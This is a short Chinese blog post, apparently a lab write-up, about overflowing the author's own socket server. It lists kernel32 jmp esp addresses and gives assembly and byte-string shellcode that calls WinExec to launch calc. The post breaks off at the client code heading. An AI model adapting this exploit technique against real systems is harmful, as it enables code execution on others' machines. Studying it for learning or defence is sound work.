要去看埃菲尔铁塔的顶
欢迎关注本人微博:t.cn/RGSLVUk
前言:
今天把上次的那个Socket服务端重新编译了下,分成四个版本
一个是没有任何保护(开了safeSEH)的, part one
一个是加了GS的,
一个是开了GS+DEP,
一个是GS+DEP+ASLR全开
来溢出吧!
part one
先是搜索了Kernel32.dll下的jmp esp 指令
贴出部份
address : 0x749BEB87
address : 0x749BFDC3
address : 0x749C0BCB
address : 0x749C10C7
address : 0x749C186B
address : 0x749C194B
address : 0x749C1D2B
简单shellcode 打开计算器
汇编一下:
push eax
sub [esp],eax ;防止出现\x00明文
push 0x636c6163 ; calc 逆端
push esp
mov eax,0x753327EC ; 这个是system WinExec 函数入口地址()
call eax
机器码
"\x73\xFC\xA3\x74" // JMP ESP
"\x50"
"\x29\x04\x24"
"\x68\x63\x61\x6C\x63"
"\x54"
"\xB8\xEC\x27\x33\x75"
"\xFF\xD0";
截图
覆盖返回地址前
覆盖返回地址后:
溢出成功:
溢出所用的客户端代码: